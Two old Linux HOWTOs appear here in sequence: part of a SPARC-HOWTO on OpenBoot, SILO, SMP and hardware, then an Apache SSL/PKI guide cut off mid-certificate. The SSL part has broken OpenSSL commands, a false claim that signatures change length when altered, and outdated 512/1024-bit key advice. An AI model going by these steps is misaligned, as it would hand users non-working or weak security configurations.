In this section, we will juste use a small set of the OpenBoot's capabilities, in order to test hardware and to boot the system. First you have to enter in the OpenBoot, just hit the stop and a keys simultaneously. Then you should see a ok prompt, if instead you see the > prompt then type n. Now you can proceed to the next section.

6.2 Diagnostics commands.

The OpenBoot, gives you a lot of commands to test and to gather information about your hardware.

  • .version Displays version and date of the startup PROM.
  • banner You will see the banner, that is displayed at power-on. It is useful to gather some data about CPUs.
  • pcia-probe-list Test PCI on computers that have a PCI bus.
  • module-info This will display the Buses clockspeed, and processors frequency and amount of cache.
  • probe-scsi This will test all devices connected to the on board SCSI controler.
  • probe-scsi-all This will test all devices connected to all the SCSI controlers.
  • show-devs This displays all installed and probed devices.
  • show-sbus Use this, if you just want to display a list of installed and probed SBus devices.
  • test-all This will test all devices in the system that have a self test program.
  • test floppy If a floppy drive is installed, it will test it reminding you to have a formated floppy disk inside.
  • test-memory If the system diag-switch? is set to true, this will test the memory.
  • test net This will test the network interfaces
  • watch-aui This will test the AUI ethernet link. You will see '.' for good packets and 'X" for bad ones. Strike any key to abort.
  • watch-clock This will test the real time clock chip, it will tick once a second. To stop this test strike any key.
  • watch-net This will check the network connection ( both AUI and TP ). You will see '.' for good packets and 'X" for bad ones. Strike any key to abort.
  • watch-net-all This will test all Ethernet interfaces. You will see '.' for good packets and 'X" for bad ones. Strike any key to abort. When you abort one, it will test the next one.
  • watch-tpe This will check the TPE ethernet interface. You will see '.' for good packets and 'X" for bad ones. Strike any key to abort.

6.3 Boot commands.

The OpenBoot allows you to boot from various devices, the command you are the more likely to enter are below.

  • boot Boot kernel from default device.
  • boot cdrom Boot kernel from CDROM drive.
  • boot net-tpe Boot kernel from network urnel from CDROM drive, this is the command you are the more likely to type when installing Linux.
  • boot net Boot kernel from network using auto-selected interface.
  • boot net-aui Boot kernel from network using AUI interface.
  • boot net-tpe Boot kernel from network using TPE interface.
  • boot tape Boot default file from tape.

6.4 Misc commands.

  • eject-floppy Ejects the floppy.
  • power-off Poweroff the workstation.
You can poweroff your workstation, when you are working with the OpenBoot : just type power-off

For more informations on the OpenBoot you can read it's FAQ


SPARC-HOWTO.: Hard drive buses.

 Next Previous Contents

7. Hard drive buses.

Depending on their architecture, the worstations are likely to feature one of the following hard drive buses.

7.1 SCSI-SCA.

An SCSI connector is located at the rear of the Workstation; the SCA chanel is found on the internal bus of the SPARC Worstations, it can be basicaly seen as an SCSI bus that provides power supply and assigns SCSI ID to the peripherals.

7.2 EIDE.

This is found for example in an Ultra 5 or Ultra 10 workstations

7.3 FC-AL

It is used by the SunBlade 1000 workstation.


SPARC-HOWTO.: CDROM: specific settings.

 Next Previous Contents

8. CDROM: specific settings.

The easiest way to install linux on SPARC workstation is to use a CDROM. If your workstation does not have a CDROM you can plug an external SCSI CDROM drive, but there are two things to do or you are doomed to fail:

  • When you issue the boot cdrom command, the CDROM is mapped to ID6.
  • Your CDROM player's block size should be setted up on 512.
As a rule of thumb, nearly all CDROM drives can be assigned to ID #6 but be carefull about the block size setting.


SPARC-HOWTO.: SILO.

 Next Previous Contents

9. SILO.

The Sparc Improved Boot LOader ( SILO ), is the boot loader that is used in the SPARC architecture. It allows you to boot Linux, Solaris or SunOS. It can load a Linux kernel from ext2, iso9660, UFS or ROMFS. From the SILO's README:

This is the first attempt at a complete boot loader for Linux on the Sparc. Because of the lack of space on the bootblock, we have to do it in two steps, the first step is a very simple loader based on Peter Zaitcev's silo (we will call this the first stage loader) which should fit in 512B and its sole purpose is to load a more complete bootstrap loader, herein refered to as the second stage boot loader. The cool thing about the second stage loader we implemented is that it makes use of the ext2 library (provided with the ext2fs tools) and some ufs code, and thus allows the loader to access any file on a ext2 fs and ufs, uses silo.conf, handles gunzipping and a lot of other things. This is different from Linux/i386 lilo which needs a map for each kernel. In silo we just keep one map file for the second stage loader, we don't expect you to be changing the second stage loader on your daily routine (you can do so, you will just need to use a tool to reinstall the maps).

Actually, IMHO it is easier to use than LILO.


SPARC-HOWTO.: Keyboard and mouse.

 Next Previous Contents

10. Keyboard and mouse.

Most of the sun4m workstation have a special connector for the keyboard. In this case the mouse is connected indifferently to left or the right side of the keyboard. Some workstations have a PS2 connector, it is very easy to spot the difference. The keyboards you are the more likely to encounter are the type4 and type5.


SPARC-HOWTO.: X Window.

 Next Previous Contents

11. X Window.

XFree, usualy, runs fine on theses systems. The XServer for the Sun hardware should be the Xsun, XsunMono or Xsun24 one.


SPARC-HOWTO.: SMP.

 Next Previous Contents

12. SMP.

Ouaich, SMP is supported, and I am sure that ROSS's dual CPU modules are supported as you can see by yourself:

piou@ywing:~ > cat /proc/cpuinfo
cpu             : ROSS HyperSparc RT625 or RT626
fpu             : ROSS HyperSparc combined IU/FPU
promlib         : Version 3 Revision 2
prom            : 2.25
type            : sun4m
ncpus probed    : 2
ncpus active    : 2
Cpu0Bogo        : 125.33
Cpu1Bogo        : 125.33
MMU type        : ROSS HyperSparc
invall          : 0
invmm           : 0
invrnge         : 0
invpg           : 0
contexts        : 4096
CPU0            : online
CPU1            : online
piou@ywing:~ >

The SparcStation 10 and SparcStations 20 are SMP capable machine and according to the FAQABOSS the following combinations are known to work :

  • 2xSM40 ( model 402 )
  • 2xSM41 ( model 412 )
  • 2xSM51 ( model 512 )
  • 2xSM512 ( model 514 )
  • 2xSM61 ( model 612 )
  • 2xSM71 ( model 712 )
  • 2xSM81 ( model 812 )

And, as stated earlier, CPU modules in SparcStations 10 and can run a different clock speeds, the following ones __SHOULD__ work:

  • 2xSM50
  • SM41, SM51
  • SM41, SM61
  • SM51, SM61
  • SM71, SM81

If you want to learn more about SMP and Linux you can read the SMP-HOWTO

How does it performs? Well, it is fast, really fast. Some of the java Demos can run faster on a dual HyperSparc 125Mhz 128MB ( ywing ) than on a dual celeron BP6 433@433Mhz 192MB ( calimero ). The same applies for the Gimp. When it comes to compiling calimero runs faster than ywing. Both computers running 2.2.16 kernel and calimero's hard disk subsystem is full SCSI.

One important detail when you plan to have different CPU modules in your computer is to have the same kind of modules, you cannot mix SuperSparc and HyperSparc for example, but you can have an odd number of CPUs, for example 3. They are said to be able to run modules at different clock speed as written in this article form AcesHardware , but I have not witnessed it.

I plan to upgrade ywing to 4 CPU in order to see how the performance scales.


SPARC-HOWTO.: The sound.

 Next Previous Contents

13. The sound.

The sound is supposed to work under Linux, using the ioctl application. On my SparcStation 20, the sound works fine under Solaris8, but I have not yet managed to hear anything under Linux ( The Sound of Silence? ).

You can read the Linux/Sparc audio webpage at sparcaudio for more informations.


SPARC-HOWTO.: Serial port.

 Next Previous Contents

14. Serial port.

Sun workstations ususaly have 2 serial ports, but on sun4m workstation there is usualy only one serial connector at the rear, you need a special Y cable in order to have access to both ports.


SPARC-HOWTO.: Ressources.

 Next Previous Contents

15. Ressources.

The following sites are given for your information, I am independent from them and does not represent them. If you would like to suggest a website or to add any information do not hesitate to email me.

15.1 Information sites.

  • Ace's Hardware: http://www.aceshardware.com/ An hardware information site having a SPARC area, actually the whole site runs on a SparcStation 20 SM71, 128MB ! Ouaich, definitively not an Intel clone.
  • ArsTechnica: http://arstechnica.com/cpu/index.html ArsTechnica is an information website with a good CPU section.
  • Black-Cube: http://www.black-cube.net/Sun/ Pictures of various SPARC hardware : IMHO great site.
  • LinuxDoc: http://www.linuxdoc.org homesite of the LDP.
  • Obsolyte: http://www.obsolyte.com/sunPICS/ Nice pictures from various sun Hardware.
  • SPARC International, Inc. http://www.sparc.org/ As the name implies, a lot of information about SPARC architecture.
  • Sun: http://docs.sun.com/ the starting node to access documentation on Sun Microsystems website.
  • SunHelp: http://sunhelp.org A good source of information about Sun Hardware and Solaris OS. Has a lot of links and good documentation on site.
  • UltraLinux: http://www.ultralinux.org/ If you need information about the Linux Kernel on SPARC architecture it is a very good place: "Bring your penguin into the Sun".

15.2 Auction sites.

Among the various Auction websites available on the net you can try theses ones. Remember to be very cautious when you purchase hardware ( see the Buying a SPARC workstation section. )

  • Ebay: http://www.ebay.com Ebay, and its regional sites have got a lot of Workstations.
  • Ibazar: http://www.ibazar.com/ The French Ibazar site has ususaly a lot of Workstations.
  • Yahoo! Auctions: http://auctions.yahoo.com/ This is the well known site.


SPARC-HOWTO.: Thanks.

 Next Previous Contents

16. Thanks.

Among the many people who showed me how great Unix and the Unix machine can be, some people have earned a special place I would like to thank them:

  • My "Vieux matou" Michel F. Who gave me my first acount on a real Unix machine, and took the time to answer my questions, showing me among other things how to take advantage of the hardware's feature.
  • Nathalie S. Who was always able to guess at the speed of light what went wrong and fixed it on the fly. And took time to install the tools I needed.
  • Yves D. Who among other things always welcomed my questions, and whose office was always open even late in the evening.
Both of them beeing real Sysadmin and teatchers from the trenches, have a very deep knowledge and understandement of the Hardware and Software.


SPARC-HOWTO.: Copyright, Disclaimer and Trademarks

 Next Previous Contents

17. Copyright, Disclaimer and Trademarks

17.1 Copyright.

Copyright © 2000 by Lionel, trollhunter Bouchpan-Lerust-Juéry. This document may be distributed under the terms set forth in the GNU Free Documentation Licence http://www.gnu.org/copyleft/fdl.txt .

This documentation is distributed in the hope that it will be useful, but without any warranty. The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages ocurred from the use of the information contained herein.

In this document you will encounter some commercial products and brands. Theses products are cited for information purpose, it is not an endorsement from the author. The trademarks belong to their respective owners.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being : "Copyright, Disclaimer and Trademarks" "Preface.", "SPARC, which one ?", "Buying a SPARC workstation.", "Linux on SPARC: 2 kernels.", "Choosing a distribution.", "Working with the Openboot.", "Hard drive buses.", "CDROM: specific settings.quot;, "SILO.", "Keyboard and mouse.", "X Window.", "SMP.", "The sound.", "Serial port.", "Ressources.", "Thanks.", "Revision History.",

, with the Front-Cover Texts being "title" and "abstract." , and with no Back-Cover Texts .

17.2 Administrativia.

This text is included in the LINUX DOCUMENTATION PROJECT http://www.linuxdoc.org/HOWTO .

The latest version of this document is available in HTML format at

http://www.theWearables.com/mirrors/SPARC-HOWTO/SPARC-HOWTO.html If you need a postcript file, you can grab it at http://www.theWearables.com/mirrors/SPARC-HOWTO/SPARC-HOWTO.ps.gz

If you wish to mirror it or to translate it, please contact me.

Lionel, Trollhunter Bouchpan-Lerust-Juéry <trollhunter@linuxfr.org> or at <boucli27@altavista.net>


SPARC-HOWTO.: Revision History.

 Next Previous Contents

18. Revision History.

  • November 2000. v0.0.3
  • November 2000. First release v0.0.1


Building a Secure RedHat Apache Server HOWTO

Richard Sigle, Richard.sigle@equifax.com

0.1, 2001-02-06

The guide is designed to explain how PKI and SSL work together. It is essential to understand how the SSL protocol works to successfully deploy a secure server.

1. Purpose/Scope of this Guide

  • 1.1 About Secure Sockets Layer (SSL)
  • 1.2 FeedBack
  • 1.3 Copyrights and Trademarks
  • 1.4 Acknowledgements and Thanks

2. Introduction to Secure Sockets Layer/Private Key Infrastructure

  • 2.1 Responsibilities of SSL/PKI
  • 2.2 How SSL Works
  • 2.3 How PKI Works
  • 2.4 Certificates(x509 Standard)
  • 2.5 Digital Certificate Private Key
  • 2.6 Digital Certificate Public Key
  • 2.7 Certificate Signing Request(CSR)

3. Working with Certificates

  • 3.1 Create a Private Key
  • 3.2 Create a Certificate Signing Request
  • 3.3 Creating a Self-Signed Certificate
  • 3.4 Installing your Web Server Certificate

4. Configuring your Apache Server

  • 4.1 Define a Secure Virtual Host
  • 4.2 Certificate Examples
  • 4.3 Restart the Web Server

5. Troubleshooting

  • 5.1 Server Appears to start, but you cannot access the secure site
  • 5.2 Certificate Name Check Warning is issued by the client's browser
  • 5.3 Certificate was Signed by an Untrusted Certificate Authority Warning
  • 5.4 SSLEngine on is an un-recognized command (when starting Apache)
  • 5.5 You have forgotten your "PEM Passphrase" and you would like to know

6. Glossary


Building a Secure RedHat Apache Server HOWTO: Purpose/Scope of this Guide

 Next Previous Contents

1. Purpose/Scope of this Guide

The purpose of this guide is to assist RedHat Linux users with the installation of server (SSL) certificates using the Apache web server. The goal is to provide a clear procedure that will save time and, in many cases, money!

First, I will cover what you need to know about the SSL protocol and digital certificates. In my experience, building an Apache web server with ModSSL and OpenSSL is the most beneficial software combination. OpenSSL is a general-purpose cryptography library that supports the SSL v2/v3 and TLS v1 protocols. ModSSL is an Apache API module designed to act as an interface between Apache and OpenSSL. The biggest advantage is that all three packages are free.

Then, beginning with Section 4, I will go through the step-by-step procedures for generating keys and installing certificates on a RedHat-Apache server compiled with ModSSL and OpenSSL. The procedures in Section 4 will also work with commercial SSL-server packages such as Stronghold and Raven that are closely related to Apache.

Disclaimer: I am a technical support engineer for Equifax Secure Inc., a Certificate Authority. Therefore, I use Equifax Secure certificates and examples geared towards installing Equifax Secure certificates. However, the instructions will also work with certificates issued by other Certificate Authorities. Since this document was written at my own initiative, Equifax Secure Inc. is neither liable nor accountable for any consequences resulting from the use of these procedures.

My comments to the reader is in this style (emphasized).

Example lines are in plain roman style.

Note that extra comments and advice is found in comments within the SGML source.

1.1 About Secure Sockets Layer (SSL)

SSL is a presentation layer service, located between the TCP and the application layer. It is platform and application independent. SSL is responsible for the management of a secure communications channel between the client and server. SSL provides a strong mechanism for encrypting data transferred between a client and a server.

1.2 FeedBack

Comments on this guide may be directed to the author (richard.sigle@equifax.com).

1.3 Copyrights and Trademarks

Copyright (c) 2001 by Richard L. Sigle

Please freely copy and distribute this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.
  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.
  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.4 Acknowledgements and Thanks

I would like to thank Tony Villasenor for tirelessly reading my drafts and offering his input and advice. Without Tony, this document would never have been finished.


Building a Secure RedHat Apache Server HOWTO: Introduction to Secure Sockets Layer/Private Key Infrastructure

 Next Previous Contents

2. Introduction to Secure Sockets Layer/Private Key Infrastructure

PKI is an asymmetric key system which consists of a public key (which is sent to clients) and a private key (stays local on the server). PKI differs from a symmetric key system in which both the client and server use the same key for encryption/decryption.

2.1 Responsibilities of SSL/PKI

SSL sets out to fulfill requirements that make it acceptable for use in the transmission of even the most sensitive of transactions, such as credit card information, medical records, legal documents, and e-commerce applications. Each application can choose to utilize some or all of the following criteria depending on the sensitivity and value of the transactions it will be processing.

Privacy

Let's say that a message is to be coded for transmission from A to B. A uses B's public key to encrypt the message. In this way B will be the only person who can decode and read this message using his private key. We cannot however be sure that A is the person who he claims to be.

Authenticity

In order to be sure that A is the person who he claims to be, we want guaranteed authenticity. This requires a slightly more complex coding process. In this case, A's message to B is first encrypted with A's private key and then with B's public key. B now has to decrypt it first with his private key and then with A's public key. Now B can be sure that A is who he claims to be as nobody else could create a message encrypted with his private key. SSL achieves this with the use of certificates (PKI). A certificate is issued by a neutral third party - such as a certificate authority (CA) - and includes a digital signature and/or a time stamp in addition to the public key of the certified party. A self-signed digital certificate can be created by anyone with the correct SSL tools, but self-signed certificates lack the weight of validation performed by a mutually respected neutral third party.

integrity

In SSL, integrity is guaranteed by using a MAC (Message Authentication Code) with the necessary hash table functions. Upon generation of a message, the MAC is obtained by applying a hash function and the result is then added to the message. After the message has been received, validity is then checked by comparing the message's embedded MAC with a new MAC computed from the received message. This would immediately reveal messages that have been altered by a third party.

Non-Repudiation

Non-repudiation protects both parties from each other during online transactions. It prevents one or the other from saying that they did not send a particular piece of information. Non-repudiation does not allow either party to alter the transaction after it has been made. Digital non-repudiation is the equivalent of signing a contract, in the traditional sense.

2.2 How SSL Works

The SSL protocol includes two sub-protocols: the SSL record protocol and the SSL handshake protocol. The SSL record protocol defines the format used to transmit data. The SSL handshake protocol involves using the SSL record protocol to exchange a series of messages between an SSL-enabled server and an SSL-enabled client when they first establish an SSL connection. This exchange of messages is designed to facilitate the following actions:

  • Authenticate the server to the client. The server certificate is signed by a Certificate Authority to insure that it is not corrupted and establishes a chain of trust.
  • Allow the client and server to select the cryptographic algorithms, or ciphers, that they both support.
  • Optionally authenticate the client to the server.
  • Use public-key encryption techniques to generate shared secrets.
  • Establish an encrypted SSL connection.

SSL Handshake Protocol

The Handshake Protocol is used to co-ordinate the state of the client and the server. During the handshake, the following events take place:

  • Certificates are exchanged between the client and server (asymmetric keys). The server sends its public key to the client. If the server is set to verify client authentication via a certificate, the client sends its public key to the server. The validity dates on the certificates are verified and they are checked for the digital signature of a trusted certificate authority. If the validity date and/or digital signature are not correct, the browser will issue a warning to the user. The user is then given the option to trust the certificate holder.
  • The client then generates a random key (symmetric key). These will be used for encryption and for calculating MACs. They are encrypted using the server's public key and sent to the server. Only the server has the ability to decrypt the new random key. The new symmetric key is used for encrypting the data that is sent between client and server.

    Note: The use of a symmetric key after server-browser authentication greatly enhances subsequent throughput performance.

  • A message encryption algorithm and a hash function for integrity are negotiated. This negotiation process could be carried out such that the client presents a list of supported algorithms to the server, which, in turn, selects the strongest cipher available to both of them. Identifiers for the chosen encryption algorithm and hash function are stored in the cipher spec field of the current state for use by the record protocol.
  • All of the following fields are set during handshaking: Protocol Version, Session ID, Cipher Suite, Compression Method and two random values ClientHello.random and ServerHello.random.

Note: An IP address is required for each SSL connection. Name based virtual hosts are resolved during the application layer. Remember Secure Sockets Layer resides below the application layer.

Session Key(Symmetric Code)

  • 40-bit, originally used only for export purposes
  • 56-bit, used by DES
  • 64-bit key - used by CAST, 256 times stronger than 56-bit
  • 80-bit key - used by CAST, 16 million times stronger than 56-bit (infeasible to break with current technology)
  • 128-bit key - used by CAST or RC2, exhaustive key search impossible now and for the foreseeable future

Public/Private Key Pair(Asymmetric Code)

  • 512-bit
  • 768-bit
  • 1024-bit
  • 2048-bit

2.3 How PKI Works

The client and the server each have a public key and a private key (the client's browser randomly creates a key pair for the SSL session, unless, a client certificate is held by the client and requested by the server).

The sender uses their private key to encrypt a message. This act authenticates the source of the message. The resulting cipher is encrypted once more with the receiving party's public key. This action provides confidentiality because only the receiving party is able to do the initial decryption of the message using their private key. The receiver uses the sender's public key to further decrypt the encrypted message. Because only the sender has access to their private key, the receiver is assured that the encrypted message originated from the sender.

A message digest is used to verify that neither party or a third party has tampered with or changed the message in any way. A message digest is obtained by applying a hash function (part of the private key known as the fingerprint) to the message. The digest (which is now known as the signature) is attached or appended to the message. The signature's length is constant (no matter how large the file is) and depends on what type of message digest the private key contains (md5 - 128 bit, sha1 - 160 bit, etc). Changing even one bit in the message will change the length of the signature and thus prove that the message has been tampered with.

2.4 Certificates(x509 Standard)

Digital certificates make it possible to trust an entity on the Internet. A digital certificate contains the user's credentials, which have been verified by a neutral third-party certificate authority.

A mathematical algorithm and a value (key) are used to encrypt data into an unreadable form. A second key is used to decrypt the data, using a complementary algorithm and a related value. The two keys must contain a related value and are known as a key pair.

Note: ITU-T Recommendation X.509 [CCI88c] specifies the authentication service for X.500 directories, as well as the X.509 certificate syntax. The certificate is signed by the issuer to authenticate the binding between the subject (user's) name and the user's public key. SSLv3 was adopted in 1994. The major difference between versions 2 and 3 is the addition of the extensions field. This field grants more flexibility as it can convey additional information beyond just the key and name binding. Standard extensions include subject and issuer attributes, certification policy information, and key usage restrictions.

An X.509 certificate consists of the following fields:

  • Version
  • serial number
  • signature algorithm ID
  • issuer name
  • validity period
  • subject (user) name
  • subject public key information
  • issuer unique identifier (version 2 and 3 only)
  • subject unique identifier (version 2 and 3 only)
  • extensions (version 3 only)
  • signature on the above fields

2.5 Digital Certificate Private Key

The private key is not embedded within a digital certificate. The private key does not include any server information. It contains encryption information and a fingerprint. It is generated locally on your system and should remain in a secure environment. If the private key is compromised, a perpetrator essentially has the code to your security system. The transmissions between client and server can be intercepted and decrypted. This type of vulnerability is why it is recommended to create a private key that is encrypted using triple DES technology. The file is then encrypted and password protected making it all but impossible to use without the correct pass phrase.

The security of a transaction is dependent on its private key. Should this key fall into the wrong hands then anyone can easily duplicate it and use it to compromise security. A compromised key could lead to messages meant for the server to be intercepted and manipulated by unscrupulous hackers. A fully secure system must be able to detect impostors and prevent the duplication of keys.

2.6 Digital Certificate Public Key

The public key is embedded in a digital certificate, which is sent by the server to a client when a secure connection is requested. This process identifies the server using the certificate. The public key validates the integrity, authenticity, and is also used to encrypt data to create a private data transmission.

2.7 Certificate Signing Request(CSR)

A CSR contains the information required by a certificate authority to create the certificate. The CSR contains an encrypted version of the private key's complimentary algorithm, common value, and information that identifies the server. This information includes, but is not limited to, country, state, organization, common name (domain name), and contact information.


Building a Secure RedHat Apache Server HOWTO: Working with Certificates

 Next Previous Contents

3. Working with Certificates

The following section covers the steps involved in creating the private key file, certificate signing request, and a self-signed certificate. If you plan to obtain a certificate signed by a certificate authority, you will need to create a certificate signing request (CSR). Otherwise, you can create a self-signed certificate.

3.1 Create a Private Key

To create a private key, you must have the OpenSSL toolkit installed and configured with Apache. The following examples use the OpenSSL command line tool which is located in the /usr/local/ssl/bin directory by default. The examples assume that the directory containing the OpenSSL command line tool has been added to the $PATH.

To create a private key using the triple des encryption standard (recommended), use the following command:

openssl genrsa -des3 -out filename.key 1024

You will be prompted to enter and re-enter a pass phrase. If you choose to use triple des encryption, you will be prompted for the password each time you start the SSL server from a cold start. (When using the restart command, you will not be prompted for the password). Some of you may find this password prompt to be a nuisance, especially if you need to boot the system during off-hours. Or, you may believe that your system is already sufficiently secure. So, if you choose not to have a password prompt (hence no triple des encryption), use the command below. If you would rather create just a 512-bit key, then omit the 1024 at the end of the command and OpenSSL will default to 512 bits. Using the smaller key is slightly faster, but it is also less secure.

To create a private key without triple des encryption, use the following command:

openssl genrsa -out filename.key 1024

To add a password to an existing private key, use the following command:

openssl -in filename.key -des3 -out newfilename.key

To remove a password from an existing private key, use the following command:

openssl -in filename.key -out newfilename.key

Note: Your private key will be created in the current directory unless otherwise specified. There are 3 easy ways to deal with this. If OpenSSL is in your path, you can run it from the directory that you have designated to store your key files in (default is /etc/httpd/conf/ssl.key if you installed Apache using the RPM or /usr/local/apache/conf/ssl.key if you installed Apache using the source files). Another solution is to copy the files from the directory where they were created to the correct directory. And, last but not least, you can specify the path when running the command (eg. openssl genrsa -out /etc/httpd/conf/ssl.key/filename.key 1024). Doesn't matter how you do it as long as it gets done before you proceed.

For more information on the OpenSSL toolkit check out: OpenSSL Website.

3.2 Create a Certificate Signing Request

To obtain a certificate signed by a certificate authority, you will need to create a Certificate Signing Request (CSR). The purpose is to send the certificate authority enough information to create the certificate without sending the entire private key or compromising any sensitive information. The CSR also contains the information that will be included in the certificate, such as, domain name, locality information, etc.

  • Locate the private key that you would like to creat a CSR from. Enter the following command:
    openssl req -new -key filename.key -out filename.csr
  • You will be prompted for Locality information, common name (domain name), organizational information, etc. Check with the CA that you are applying to for information on required fields and invalid entries.
  • Send the CSR to the CA per their instructions.
  • Wait for your new certificate and/or create a self-signed certificate. A self-signed certificate can be used until you receive your certificate from the certificate authority.

Note: Use the following command to create a private key and request at the same time.

openssl genrsa -des3 -out filename.key 1024

3.3 Creating a Self-Signed Certificate

It is not necessary to create a self-signed certificate if you are obtaining a CA-signed certificate. However, creating a self-signed certificate is very simple. All you need is a private key and the name of the server (fully qualified domain name) that you want to secure. You will be prompted for information such as locality information, common name (domain name), organizational information, etc. OpenSSL gives you a great deal of freedom here. The only required field for the certificate to function correctly is the common name (domain name) field. If this is not present or incorrect, you will receive a Certificate Name Check warning from your browser.

To create a self-signed certificate:

openssl req -new -key filename.key -x509 -out filename.crt

3.4 Installing your Web Server Certificate

If you followed these instructions so far you shouldn't have any problems at this point. If you sent your CSR to a certificate authority and you have not gotten your certificate back yet, you can take a break now! If you are using a self-signed certificate, or you have received your certificate, you may continue.

  • Ensure that the private key file is in the directory that you have chosen to use. The following examples will be based on the RedHat RPM installation default of /etc/httpd/conf/ssl.key.
  • Ensure that the CA-signed or self-signed certificate is in its designated location. Again, I will be using the RPM default of /etc/httpd/conf/ssl.crt. If it is not there already, put it there.
  • If there is an intermediate (root) certificate to be installed, copy it to the /etc/httpd/conf/ssl.crt directory, also.
  • Now, you will be required to edit the httpd.conf file. Make a back-up of this file before you proceed to the next step, Configuring your Apache Server.


Building a Secure RedHat Apache Server HOWTO: Configuring your Apache Server

 Next Previous Contents

4. Configuring your Apache Server

The Apache server must be configured with supplementary API modules in order to support SSL. There are many SSL software packages available. My examples are based on Apache configured with ModSSL and OpenSSL. There are countless mailing lists and newsgroups available to support these products. You may find these instructions helpful for some commercial SSL software packages that are based on the Apache web server.

A few things to keep in mind: You can have multiple virtual hosts on the same server. You can have numerous name-based virtual hosts on the same IP address. You can also have numerous name-based virtual hosts and one (1) secure virtual host on the same IP. But - you cannot have multiple secure virtual hosts on the same IP. The question that so many ask: Why? The answer is: SSL works below the application layer. Name based hosts are not defined until the application layer.

Specifically, you cannot have multiple secure virtual hosts on the same SOCKET (IP address + port). By default, a secure host will use port 443. You can change configure your virtual host to use a different port number with the same IP, thus creating another socket. There are many disadvantages to this approach. The most obvious disadvantage is that if you are not using the default port, your URL must also contain the port number to access the secure site.

Example:

  • Site using default port - www.something.com - would be accessed as https://www.something.com
  • A site using port 8888 would be accessed as https://www.something.com:8888

Another disadvantage is that if you introduce more ports, you will be providing more opportunities for port sniffing hackers. Last, if you select a port that is used by something else, you will create conflict problem.

4.1 Define a Secure Virtual Host

Setting up virtual hosts is fairly straightforward. I will go through the basics of setting up a secure virtual host.

In these examples, I use the .crt and .key file extensions. That is my personal way of avoiding confusion with the various files. With Apache, you can use any extension you choose - or no extension at all.

All of your secure virtual hosts should be contained within <IfDefine SSL> and </IfDefine SSL>, usually located towards the end of the httpd.conf file.

An example of a secure virtual host:

<VirtualHost 172.18.116.42:443>
DocumentRoot /etc/httpd/htdocs
ServerName www.somewhere.com
ServerAdmin someone@somewhere.com
ErrorLog /etc/httpd/logs/error_log
TransferLog /etc/httpd/logs/access_log
SSLEngine on
SSLCertificateFile /etc/httpd/conf/ssl.crt/server.crt
SSLCertificateKeyFile /etc/httpd/conf/ssl.key/server.key
SSLCACertificateFile /etc/httpd/conf/ssl.crt/ca-bundle.crt
<Files ~ "\.(cgi|shtml)$">
      SSLOptions +StdEnvVars
</Files>
<Directory "/etc/httpd/cgi-bin">
      SSLOptions +StdEnvVars
</Directory>
SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown
CustomLog /etc/httpd/logs/ssl_request_log \
          "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
</VirtualHost>

The directives that are the most important for SSL are the SSLEngine on, SSLCertificateFile, SSLCertificateKeyFile, and in many cases SSLCACertificateFile directives.

SSL Engine

"SSLEngine on" - this is ModSSL's command to start SSL.

SSLCertificateFile

SSLCertificateFile Tells Apache where to find the certificate file and what it is named. The example above shows "server.crt" as the certificate file name. This is the default that is added when you configure ModSSL with Apache. I personally don't recommend using the default names. Save yourself some frustration and name your certificates as servername.crt (domainname.crt). You may also decide to use an alternative directory than the default /etc/httpd/conf/ssl.crt or /usr/local/apache/conf/ssl.crt. Just remember to make the necessary changes to the path.

SSLCertificateKeyFile

SSLCertificateKeyFile tells Apache the name of the private key and where to find it. The directory defined here should have read/write permissions for root only. No one else should have access to this directory.

SSLCACertificateFile

The SSLCACertificateFile directive tells Apache where to find the Intermediate (root) certificate. This directive may or may not be necessary depending on the CA that you are using. This certificate is essentially a ring of trust.

Intermediate Certificate - A Certificate Authority obtains a certificate in much the same way as you. This is known as an intermediate certificate. It basically says that the holder of the intermediate certificate is whom they say they are and is authorized to issue certificates to customers. Web browsers have a list of "trusted" certificate authorities that is updated with each release. If a Certificate authority is fairly new, its intermediate certificate may not be in the browser's list of trusted CA's. Combine this with the fact that most people don't update their browsers very often; it could take years before a CA is recognized as trusted automatically. The solution is to install the intermediate certificate on the server using the SSLCACertificateFile directive. Usually, a "trusted" CA issues the intermediate certificate. If it is not, then you may need to use the SSLCertificateChainFile directive, although this is unlikely.

4.2 Certificate Examples

Server Certificate File

-----BEGIN CERTIFICATE-----
MIIC8DCCAlmgAwIBAgIBEDANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkEx
FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYD
VQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UEAxMQVGhhd3RlIFNlcnZlciBDQTEm
MCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5jb20wHhcNOTkwNTI1
MDMwMDAwWhcNMDIwNjEwMDMwMDAwWjBTMQswCQYDVQQGEwJVUzEbMBkGA1UEChMS
RXF1aWZheCBTZWN1cmUgSW5jMScwJQYDVQQDEx5FcXVpZmF4IFNlY3VyZSBFLUJ1
c2luZXNzIENBLTIwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMYna8GjS9mG
q4Cb8L0VwDBMZ+ztPI05urQb8F0t1Dp4I3gOFUs2WZJJv9Y1zCFwQbQbfJuBuXmZ
QKIZJOw3jwPbfcvoTyqQhM0Yyb1YzgM2ghuv8Zz/+LYrjBo2yrmf86zvMhDVOD7z
dhDzyTxCh5F6+K6Mcmmar+ncFMmIum2bAgMBAAGjYjBgMBIGA1UdEwEB/wQIMAYB
Af8CAQAwSgYDVR0lBEMwQQYIKwYBBQUHAwEGCCsGAQUFBwMDBgorBgEEAYI3CgMD
